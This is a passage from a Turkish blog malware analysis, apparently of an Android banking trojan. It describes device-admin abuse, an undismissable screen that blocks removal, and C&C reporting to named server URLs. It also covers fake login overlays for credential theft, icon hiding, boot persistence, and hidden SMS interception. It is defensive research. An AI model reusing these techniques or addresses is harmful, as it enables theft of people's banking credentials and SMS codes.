Çağırılan bu fonksiyon ile önce yine <span style="font-family: "courier new" , "courier" , monospace;">MainActivity</span> komponenti aktive edilecek ardından <span style="font-family: "courier new" , "courier" , monospace;">MyDeviceAdminReceiver</span> isimli cihaz yöneticisi oluşturmayı sağlayan sınıf çağırılacaktır. Çağırılan fonksiyon uygulamanın device administrators listesinde yer almadığı durumlarda çağırıldığı göz önüne alındığında <span style="font-family: "courier new" , "courier" , monospace;">android.app.action.add.device.admin</span> intent action’una sahip bir intent filter ile başlatılan <span style="font-family: "courier new" , "courier" , monospace;">MyDeviceAdminReceiver</span> sınıfı daha net anlaşılacaktır. </div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://1.bp.blogspot.com/-bgZyhOPkl1s/Vqh-cPM6_6I/AAAAAAAADc0/4jnIoNujYUo/s1600/35.2-EnableDeviceAdmin2.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="320" src="http://1.bp.blogspot.com/-bgZyhOPkl1s/Vqh-cPM6_6I/AAAAAAAADc0/4jnIoNujYUo/s320/35.2-EnableDeviceAdmin2.png" width="190" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 41 Uygulama cihaz yöneticisi yetkisini talep ettiğinde kullanıcıya gösterilen onay ekranı</td></tr>
</tbody></table>
<div style="text-align: justify;">
Bilindiği üzere bir uygulama cihaz yöneticisi olmak için talepte bulunduğunda kullanıcıdan onay alınmak üzere bir pencere açılmakta ve kullanıcı onay verdiği durumda uygulama cihaza yüklenmektedir. İlgili pencere Şekil 41’da gösterilmektedir. Kullanıcının onay verdiği durumda <span style="font-family: "courier new" , "courier" , monospace;">DeviceAdminReceiver</span> sınıfına ait <span style="font-family: "courier new" , "courier" , monospace;">onEnabled</span> metodu çağırılmaktadır. <span style="font-family: "courier new" , "courier" , monospace;">MyDeviceAdminReceiver</span> sınıfı, <span style="font-family: "courier new" , "courier" , monospace;">DeviceAdminReceiver</span> sınıfından export edildiği için benzer bir şekilde <span style="font-family: "courier new" , "courier" , monospace;">MyDeviceAdminReceiver</span> sınıfı başladıktan sonra kullanıcının cihaz yöneticisi onayını vermesi ile birlikte <span style="font-family: "courier new" , "courier" , monospace;">MyDeviceAdminReceiver</span> sınıfı içerisindeki <span style="font-family: "courier new" , "courier" , monospace;">onEnabled</span> metodu çağırılmaktadır. Şekil 42’de <span style="font-family: "courier new" , "courier" , monospace;">MyDeviceAdminReceiver</span> sınıfına ait <span style="font-family: "courier new" , "courier" , monospace;">onEnabled</span> metot içeriği görülmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://3.bp.blogspot.com/-UhjMFlN3CWk/Vqh-fQyzIdI/AAAAAAAADdA/n4sWAzoOcrY/s1600/36-onEnabledDeviceAdmin.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="314" src="http://3.bp.blogspot.com/-UhjMFlN3CWk/Vqh-fQyzIdI/AAAAAAAADdA/n4sWAzoOcrY/s640/36-onEnabledDeviceAdmin.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 42 MyDeviceAdminReceiver sınıfına ait onEnabled metodu</td></tr>
</tbody></table>
<div style="text-align: justify;">
Uygulama cihaz yöneticisi hakkını elde ettikten sonra bu konu ile ilgili C&C sunucusuna bir rapor gönderilmektedir. C&C sunucusu ile haberleşmeyi yine analiz sırasında <span style="font-family: "courier new" , "courier" , monospace;">TestGateDataSendingAsyncTask</span> olarak isimlendirilen asenkron task gerçekleştirmektedir. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">MyDeviceAdminReceiver</span> sınıfı ile ilgili asıl önemli olan uygulamanın cihaz yöneticisi listesinden çıkartılmak istendiği durumda çalıştırılan <span style="font-family: "courier new" , "courier" , monospace;">onDisableRequested</span> metodudur. İlgili metoda ait kod Şekil 43’de gösterilmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://1.bp.blogspot.com/-MM1gOYQrOho/Vqh-i0Tf1HI/AAAAAAAADdM/SrJy99KgC6s/s1600/37-onDisableRequested.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="332" src="http://1.bp.blogspot.com/-MM1gOYQrOho/Vqh-i0Tf1HI/AAAAAAAADdM/SrJy99KgC6s/s640/37-onDisableRequested.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 43 MyDeviceAdminReceiver sınıfına ait onDisableRequested metodu</td></tr>
</tbody></table>
<div style="text-align: justify;">
Bu metot çağırıldığında shared preferences dosyasından <span style="font-family: "courier new" , "courier" , monospace;">deleted</span> key’ine ait değer kontrol edilir ve bu değerin 0 olduğu durumda, ki bu durumda cihazda zararlı uygulamanın çalışmaya devam etmesi beklenmektedir, kullanıcıya tüm ekranı kaplayan ve kapatamayacağı bir pencere ile “Administrator will be deactivated” mesajı gösterilmektedir. Bu mesaj kapatılıp uygulama cihaz yöneticileri listesinden çıkartılamamaktadır. İlgili pencereye ait ekran görüntüsü Şekil 44’de verilmiştir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://2.bp.blogspot.com/-cfj-FlI_5eY/Vqh-l4LMj2I/AAAAAAAADdY/EWNvFsgcK3E/s1600/38-AdministratorWillBeDeactivatedMessage.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="320" src="http://2.bp.blogspot.com/-cfj-FlI_5eY/Vqh-l4LMj2I/AAAAAAAADdY/EWNvFsgcK3E/s320/38-AdministratorWillBeDeactivatedMessage.png" width="191" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 44 Uygulama cihaz yöneticisi listesinden çıkartılmak istendiğinde kullanıcıya gösterilen ve kapatılamayan pencere</td></tr>
</tbody></table>
<div style="text-align: justify;">
Uygulamanın cihaz yöneticisi listesinde eklenmesi işleminin ardından Şekil 36’te gösterilmiş olan thread’de 4 numara ile işaretlenmiş olan kod bloğu çalışmaktadır. Burada shared preferences dosyası içerisindeki <span style="font-family: "courier new" , "courier" , monospace;">common</span> key’inin değeri kontrol edilmektedir. Bu değerin 1 olması durumunda daha önce Şekil 10’da belirtilen şifresi çözülmüş C&C adresleri içerisinden http://193.201.227.26/test231215g/index.html/ adresine bir HTTP talebi gönderilmekte (Şekil 36’te 5 ile işaretlenmiştir) ve <span style="font-family: "courier new" , "courier" , monospace;">CommonHTMLActivity</span> activity komponentini başlatan <span style="font-family: "courier new" , "courier" , monospace;">AdminService</span> sınıfına ait bir fonksiyon çağırılmaktadır (Şekil 36’te 6 ile işaretlenmiştir). İlgili fonksiyon kodu (karmaşıklık giderme işlemi sırasında <span style="font-family: "courier new" , "courier" , monospace;">startCommonHTMLActivity</span> olarak isimlendirilmiştir) Şekil 45’te gösterilmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-qcsAjcPNpyY/Vqh-oht3tcI/AAAAAAAADdk/edu-PDE263Y/s1600/39-StartCommonHTMLActivity.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="256" src="http://4.bp.blogspot.com/-qcsAjcPNpyY/Vqh-oht3tcI/AAAAAAAADdk/edu-PDE263Y/s640/39-StartCommonHTMLActivity.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 45 CommonHTMLActivity komponentini başlatan fonksiyon</td></tr>
</tbody></table>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">startCommonHTMLActivity</span> olarak isimlendirilen fonksiyon ilk çalıştığında cihazda çalışan uygulama listesini getiren bir başka fonksiyonu çalıştırmaktadır. Bu fonksiyona ait kod parçası Şekil 46’te gösterilmektedir. İlgili fonksiyon tüm çalışan process listesini alıp bunlardan şu anda ön planda çalışan uygulamaların listesi ile bir String dizisi oluşturmaktadır. Bu ön planda çalışan uygulamalar dizisi <span style="font-family: "courier new" , "courier" , monospace;">startCommonHTMLActivity</span> fonksiyonu içerisinde shared preferences dosyasına kaydedilen ve Şekil 22’de gösterilen enjeksiyon yapılacak uygulama listesi ile kıyaslanmaktadır.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://1.bp.blogspot.com/-yN5J69Vt-wU/Vqh-rOWeHwI/AAAAAAAADdw/17RaKE48QR0/s1600/40-GetForegroundAppList.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="218" src="http://1.bp.blogspot.com/-yN5J69Vt-wU/Vqh-rOWeHwI/AAAAAAAADdw/17RaKE48QR0/s640/40-GetForegroundAppList.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 46 Cihazda çalışan uygulamaların listesini getiren fonksiyon</td></tr>
</tbody></table>
<div style="text-align: justify;">
Ön planda çalışan uygulamalardan birinin enjeksiyon yapılacak uygulamalar listesinde bulunması durumunda ekrana <span style="font-family: "courier new" , "courier" , monospace;">CommonHTMLActivity</span> isimli bir activity komponenti getirilmektedir. <span style="font-family: "courier new" , "courier" , monospace;">CommonHTMLActivity</span> sınıfının <span style="font-family: "courier new" , "courier" , monospace;">onCreate</span> metodu ile ilgili ilginç noktalardan bir tanesi ekrana gösterilecek WebView nesnesi içinde JavaScript’in aktif olmasını sağlayan <span style="font-family: "courier new" , "courier" , monospace;">@SuppressLint(value={"SetJavaScriptEnabled"})</span> ifadesinin <span style="font-family: "courier new" , "courier" , monospace;">onCreate</span> metodunun başında yer almasıdır. Şekil 47’te <span style="font-family: "courier new" , "courier" , monospace;">onCreate</span> metot içeriği gösterilmektedir. Ekran görüntüsünde kodun bir kısmı kırpılmıştır.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-kXCqfkngVAo/Vqh-ubh43lI/AAAAAAAADd8/uGmhoh5VIs8/s1600/41-onCreateOfCommonHTMLActivity.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="418" src="http://4.bp.blogspot.com/-kXCqfkngVAo/Vqh-ubh43lI/AAAAAAAADd8/uGmhoh5VIs8/s640/41-onCreateOfCommonHTMLActivity.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 47 CommonHTMLActivity sınıfına ait onCreate metot içeriği</td></tr>
</tbody></table>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">CommonHTMLActivity</span> sınıfı metodu enjeksiyon listesindeki bir uygulamanın aktif olarak cihazda ön planda çalıştığı durumda oluşturulmaktadır. <span style="font-family: "courier new" , "courier" , monospace;">onCreate</span> metodu çalıştırıldığında id değeri, enjeksiyon yapılacak uygulamaya ait paket ismi, cihazda kayıtlı google hesabı bilgisi ve cihazın dil değerlerini içeren bir JSON nesnesi oluşturulur ve bu JSON nesnesi bir string ifadesine dönüştürülüp Base64 kodlandıktan sonra daha önce Şekil 10’da belirtilen şifresi çözülmüş C&C adresleri içerisinden http://193.201.227.26/test231215g/inject/tds/login.php adresine pack parametresi ile bir HTTP GET talebi gönderilmektedir. Şekil 48’da bu talep içeriği gösterilmektedir.<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://3.bp.blogspot.com/-CnPcI_2GSZM/VqiuCgRmV2I/AAAAAAAADj0/m_jAB9MmIJ0/s1600/42-GETRequestwithWebView.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="122" src="http://3.bp.blogspot.com/-CnPcI_2GSZM/VqiuCgRmV2I/AAAAAAAADj0/m_jAB9MmIJ0/s640/42-GETRequestwithWebView.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><span style="font-size: 12.8px;">Şekil 48 Ekrana gösterilen WebView nesnesi içerisinden yapılan talep</span></td></tr>
</tbody></table>
</div>
<div style="text-align: justify;">
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://3.bp.blogspot.com/-y3p18Sdb3MY/VqitpE2sXGI/AAAAAAAADjo/MyEaZ6oAb2c/s1600/43-PhishingPage.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="320" src="http://3.bp.blogspot.com/-y3p18Sdb3MY/VqitpE2sXGI/AAAAAAAADjo/MyEaZ6oAb2c/s320/43-PhishingPage.png" width="223" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 49 Enjeksiyon yapılan uygulama için kullanıcıya gösterilen sahte sayfa</td></tr>
</tbody></table>
Bu talebi gönderebilmek için bir <span style="font-family: "courier new" , "courier" , monospace;">WebView</span> nesnesi oluşturulmakta ve bu <span style="font-family: "courier new" , "courier" , monospace;">WebView</span> nesnesi ekrana çıkartılarak C&C sunucusundan gelen cevap içerisinde enjeksiyon yapılacak uygulama için hazırlanmış sahte bir kullanıcı girişi sayfası kullanıcıya gösterilmektedir. Şekil 49’de ilgili sahte sayfaya ait ekran görüntüsü gösterilmektedir. <span style="font-family: "courier new" , "courier" , monospace;">WebView</span> nesnesi oluşturulurken <span style="font-family: "courier new" , "courier" , monospace;">WebViewClient</span> ve <span style="font-family: "courier new" , "courier" , monospace;">WebChromeClient</span> nesneleri <span style="font-family: "courier new" , "courier" , monospace;">WebView</span> nesnesine entegre edilmektedir. Sahte sayfaya girilen kullanıcı adı verileri C&C sunucusuna gönderilerek kurbanın bankacılık bilgileri ele geçirilmektedir.</div>
<br />
<div style="text-align: justify;">
Kullanıcıya ait bankacılık bilgileri ele geçirildikten sonra <span style="font-family: "courier new" , "courier" , monospace;">WebView</span> komponentini ekrandan kaldıran bir asenkron task çalıştırılmaktadır. Böylece ekranda yine kullanıcının aktif olarak kullanmakta olduğu bankacılık uygulamasına ait pencere belirecektir. Şekil 50’da ilgili kod parçası görülmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://3.bp.blogspot.com/-8zUMAIQ1qhw/Vqh--Ejw1KI/AAAAAAAADeg/M8JxAlEChHs/s1600/44-EndCommonHTMLActivity.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="216" src="http://3.bp.blogspot.com/-8zUMAIQ1qhw/Vqh--Ejw1KI/AAAAAAAADeg/M8JxAlEChHs/s640/44-EndCommonHTMLActivity.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 50 WebView nesnesini ekrandan kaldıran fonksiyon</td></tr>
</tbody></table>
<div style="text-align: justify;">
7.<span class="Apple-tab-span" style="white-space: pre;"> </span><span style="font-family: "courier new" , "courier" , monospace;">MainActivty</span> içerisinde gerçekleştirilen son aktivite uygulama ikonunun gizlenmesi için çalıştırılan fonksiyondur. <span style="font-family: "courier new" , "courier" , monospace;">PackageManager</span> sınıfı üzerinden <span style="font-family: "courier new" , "courier" , monospace;">setComponentEnabledSetting</span> fonksiyonu ile gerçekleştirilen bu işlem uygulama ikonunun gizlenmesi amacıyla zararlı yazılımlar tarafından sıklıkla kullanılmaktadır. Şekil 51’de ilgili kod parçası gösterilmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://1.bp.blogspot.com/-ePWoVokIfSY/Vqh_AZA1YkI/AAAAAAAADes/Yl_RqyVtDnY/s1600/45-EnableOrDisableMainActivity.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="92" src="http://1.bp.blogspot.com/-ePWoVokIfSY/Vqh_AZA1YkI/AAAAAAAADes/Yl_RqyVtDnY/s640/45-EnableOrDisableMainActivity.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 51 Uygulama ikonunun gizlenmesini sağlayan kod parçası</td></tr>
</tbody></table>
<h3 style="text-align: justify;">
Autorun Broadcast Receiver</h3>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">MainActivity</span> activity komponenti dışında uygulamanın bir diğer giriş noktası <span style="font-family: "courier new" , "courier" , monospace;">Autorun</span> isimli broadcast receiver komponentidir. Şekil 52’de <span style="font-family: "courier new" , "courier" , monospace;">Autorun</span> broadcast receiver’ının <span style="font-family: "courier new" , "courier" , monospace;">AndroidManifest.XML</span> dosyası içerisindeki görüntüsü gösterilmiştir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://3.bp.blogspot.com/-Jomsu0Odp-s/Vqh_DPR82vI/AAAAAAAADe4/j44iSnEzczE/s1600/46-AutorunBroadcastReceiver.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="106" src="http://3.bp.blogspot.com/-Jomsu0Odp-s/Vqh_DPR82vI/AAAAAAAADe4/j44iSnEzczE/s640/46-AutorunBroadcastReceiver.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 52 AndroidManifest.XML dosyası içerisinde Autorun broadcast receiver komponenti</td></tr>
</tbody></table>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">Autorun</span> broadcast receiver komponenti cihaz başladığında yayınlanan <span style="font-family: "courier new" , "courier" , monospace;">BOOT_COMPLETED</span> broadcast’ini yakalamak için tanımlanmış bir broadcast receiver’dır. Cihaz yeniden başlatıldığında çalışan <span style="font-family: "courier new" , "courier" , monospace;">Autorun</span> broadcast receiver’ına ait <span style="font-family: "courier new" , "courier" , monospace;">onReceive</span> fonksiyonu ilk olarak shared preferences dosyasından <span style="font-family: "courier new" , "courier" , monospace;">deleted</span> key’inin değerini kontrol etmektedir. Bu değer 0 ise uygulamanın cihazda çalışması gerektiğini anlayıp diğer kontrolleri gerçekleştirmektedir. İlgili kod parçası Şekil 53’te 1 numara ile gösterilmiştir. Daha sonra gerçekleştirilen kontrol, ki Şekil 53’te 2 numara ile gösterilmiştir, uygulamanın cihaz yöneticiliğinin aktif olup olmaması kontrolüdür. Cihaz yöneticiliği aktif değil ise shared preferences dosyasında <span style="font-family: "courier new" , "courier" , monospace;">common</span> key’inin değerini 0 yapacak fonksiyon çağırısı yapılmakta, cihaz yöneticiliği aktif ise <span style="font-family: "courier new" , "courier" , monospace;">common</span> key değeri 1 yapılmakta ve cihazda yönetici olunduğu bilgisinin C&C sunucusuna gönderilmesini sağlayan bir fonksiyon çağırılmaktadır. İlgili fonksiyona ait kod Şekil 54’te gösterilmiştir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://3.bp.blogspot.com/-gXyHtlgyIDA/Vqh_FrDO9hI/AAAAAAAADfE/OA4DYNxW4H8/s1600/47-AutorunBroadcastReceiverOnReceive.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="394" src="http://3.bp.blogspot.com/-gXyHtlgyIDA/Vqh_FrDO9hI/AAAAAAAADfE/OA4DYNxW4H8/s640/47-AutorunBroadcastReceiverOnReceive.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Add Şekil 53 Autorun broadcast receiver’ı onReceive fonksiyonucaption</td></tr>
</tbody></table>
<div style="text-align: justify;">
Bu kontroller sonrasında uygulama ikonunun gizlenmesini sağlayan fonksiyon yeniden çağırılarak cihaz yeniden başlatıldığında uygulama ikonunun ekranda görülmemesi sağlanmaktadır. İlgili kod parçası Şekil 53’te 3 numara ile gösterilmiştir. Cihaz yeniden başlatıldığında gerçekleştirilen diğer işlem de <span style="font-family: "courier new" , "courier" , monospace;">AdminService</span> service komponentini başlatmaktır. İlgili kod parçası Şekil 53’te 4 numara ile gösterilmektedir. Cihaz yöneticiliği ile ilgili işlemleri gerçekleştirilen bu service komponenti ile ilgili detaylı bilgi bu raporun önceki kısımlarında verildiği için burada tekrar detaylandırılmayacaktır.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://1.bp.blogspot.com/-S4K_lVE-bzk/Vqh_JPkaUcI/AAAAAAAADfQ/tCij2B4TUxU/s1600/48-sendMethodIsAdminToCCServerAfterDeviceBoot.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="232" src="http://1.bp.blogspot.com/-S4K_lVE-bzk/Vqh_JPkaUcI/AAAAAAAADfQ/tCij2B4TUxU/s640/48-sendMethodIsAdminToCCServerAfterDeviceBoot.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 54 Cihaz yöneticisi olunduğu bilgisini C&C sunucusuna gönderen fonksiyon</td></tr>
</tbody></table>
<div style="text-align: justify;">
Son olarak cihazın yeniden başladığı bilgisi C&C sunucusuna iletilmektedir. İlgili kod parçası Şekil 53’te 5 numara ile gösterilmektedir.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">onReceive</span> metodu çağırıldığında <span style="font-family: "courier new" , "courier" , monospace;">deleted</span> key’ine ait değerin 1 olması durumunda ise, ki bu durumda uygulama cihazda çalışmayacak demektir, bu durumda uygulamada bulunan <span style="font-family: "courier new" , "courier" , monospace;">SmsReceiver</span>, <span style="font-family: "courier new" , "courier" , monospace;">NetworkController</span>, <span style="font-family: "courier new" , "courier" , monospace;">NetworkRestartReceiver</span>, <span style="font-family: "courier new" , "courier" , monospace;">AdminRestartReceiver</span> broadcast receiver’ları deaktive edilmekte; <span style="font-family: "courier new" , "courier" , monospace;">NetworkService</span> ve <span style="font-family: "courier new" , "courier" , monospace;">AdminService</span> service komponentleri durdurulmakta; son hamle olarak da uygulamaya ait process öldürülmektedir. Bu işlemleri gerçekleştiren kod parçası Şekil 55’te gösterilmiştir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-0puOeyp9xjo/Vqh_R_TC8tI/AAAAAAAADfc/G0GpxvCQRXQ/s1600/49-onReceiveDeleted.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="200" src="http://4.bp.blogspot.com/-0puOeyp9xjo/Vqh_R_TC8tI/AAAAAAAADfc/G0GpxvCQRXQ/s640/49-onReceiveDeleted.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 55 Autorun broadcast receiver’ı onReceive fonksiyonu - II </td></tr>
</tbody></table>
<div style="text-align: justify;">
Kısacası <span style="font-family: "courier new" , "courier" , monospace;">Autorun</span> broadcast receiver komponenti cihaz yeniden başladıktan sonra sharedPreferences dosyasını okumakta, <span style="font-family: "courier new" , "courier" , monospace;">deleted</span> değeri 0 ise servisleri yeniden ayağa kaldırmakta; eğer <span style="font-family: "courier new" , "courier" , monospace;">deleted</span> değeri 1 ise tüm komponentleri deaktive edip kendi process'ini kill etmektedir.</div>
<h3 style="text-align: justify;">
SmsReceiver Broadcast Receiver</h3>
<div style="text-align: justify;">
Uygulamanın tetiklenme noktalarından bir diğeri de cihaza bir SMS gelmesidir. Uygulama içerisinde cihaza bir SMS mesajı geldiğinde haberdar edilen <span style="font-family: "courier new" , "courier" , monospace;">SmsReceiver</span> adında bir broadcast receiver komponenti bulunmaktadır. Şekil 56’da <span style="font-family: "courier new" , "courier" , monospace;">AndroidManifest.XML</span> dosyası içerisindeki <span style="font-family: "courier new" , "courier" , monospace;">SmsReceiver</span> komponentinin tanımladığı bölüm görülmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://2.bp.blogspot.com/-2h2EE3ANU6s/Vqh_WFsDiJI/AAAAAAAADfo/X0bADb2bxs4/s1600/50-SmsReceiverInAndroidManifest.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="110" src="http://2.bp.blogspot.com/-2h2EE3ANU6s/Vqh_WFsDiJI/AAAAAAAADfo/X0bADb2bxs4/s640/50-SmsReceiverInAndroidManifest.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 56 AndroidManifest.XML içerisinde SmsReceiver komponenti</td></tr>
</tbody></table>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">SmsReceiver</span> ilgili broadcast’i aldığında, yani cihaza bir SMS geldiğinde ilk olarak shared preferences dosyası içerisinden <span style="font-family: "courier new" , "courier" , monospace;">sms_grab</span> key’ine ait değeri kontrol eder. Bu değer zararlı yazılımın cihaza gelen SMS’leri takip edip etmediğini belirlemek için kullanılmaktadır. Shared preferences dosyasındaki <span style="font-family: "courier new" , "courier" , monospace;">sms_grab</span> değeri 1 ise ve gelen intent içeriğinde veri varsa ilk olarak gelen SMS’e ait broadcast’i diğer uygulamaların yakalamaması için bu broadcast düşürülür. Bu sayede kullanıcının SMS mesajı geldiğinden haberinin olmaması sağlanmaktadır. İlgili kod parçası Şekil 57’de gösterilmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://2.bp.blogspot.com/-lVCVBwcpy1g/Vqh_YI6_IFI/AAAAAAAADf0/HqglO7sevyk/s1600/51-SMSReceiverOnReceive.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="150" src="http://2.bp.blogspot.com/-lVCVBwcpy1g/Vqh_YI6_IFI/AAAAAAAADf0/HqglO7sevyk/s640/51-SMSReceiverOnReceive.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 57 SmsReceiver komponentine ait onReceive metodu</td></tr>
</tbody></table>
<div style="text-align: justify;">
Broadcast’in düşürülmesinin ardından <span style="font-family: "courier new" , "courier" , monospace;">SmsActivity</span> isimli activity komponenti çalıştırılmaktadır. <span style="font-family: "courier new" , "courier" , monospace;">SmsActivity</span> komponenti çalıştırıldığında ise siyah bir ekran üzerine kullanıcıya “Please wait while install system update.” mesajı gösterilmektedir. İlgili ekran görüntüsü Şekil 59’da gösterilmiştir. </div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://2.bp.blogspot.com/-60-J7dV6G3c/Vqh_gr-56-I/AAAAAAAADgA/C7DPhXSbOsI/s1600/53-SMSAcrtivity.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="338" src="http://2.bp.blogspot.com/-60-J7dV6G3c/Vqh_gr-56-I/AAAAAAAADgA/C7DPhXSbOsI/s640/53-SMSAcrtivity.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 58 SmsActivity komponentine ait onCreate metodu</td></tr>
</tbody></table>
<div style="text-align: justify;">
Ek olarak bu mesajın ekranda 60 saniye durmasını sağlayacak <span style="font-family: "courier new" , "courier" , monospace;">CountDownTimer</span> sınıfından türetilmiş zamanlayıcı çalıştırılmaktadır. İlgili kod parçası Şekil 58’de gösterilmektedir. Bu zamanlayıcı sayesinde 60 saniye sonunda <span style="font-family: "courier new" , "courier" , monospace;">SmsActivity</span> komponenti ekrandan kaldırılmaktadır.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-ne8xxx1H2U0/Vqh_kfUQbwI/AAAAAAAADgM/XzNgWPRDodM/s1600/52-EmluatorSMSReceived.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="320" src="http://4.bp.blogspot.com/-ne8xxx1H2U0/Vqh_kfUQbwI/AAAAAAAADgM/XzNgWPRDodM/s320/52-EmluatorSMSReceived.png" width="191" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 59 SMS geldiğinde kullanıcıya gösterilen mesaj</td></tr>
</tbody></table>
<div style="text-align: justify;">
Ekranda mesaj gösterildiği zaman dilim içerisinde cihaz sessize alınmakta ve titreşim süresi sıfıra çekilerek cihazın herhangi bir sesli ve titreşimli uyarı vermesi engellenmeye çalışılmaktadır. Ayrıca <span style="font-family: "courier new" , "courier" , monospace;">NotificationManager</span> üzerinden tüm kullanıcıya gösterilecek tüm iletiler iptal edilmekte ve kullanıcının herhangi bir olaydan haberdar olmasının önüne geçilmektedir. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
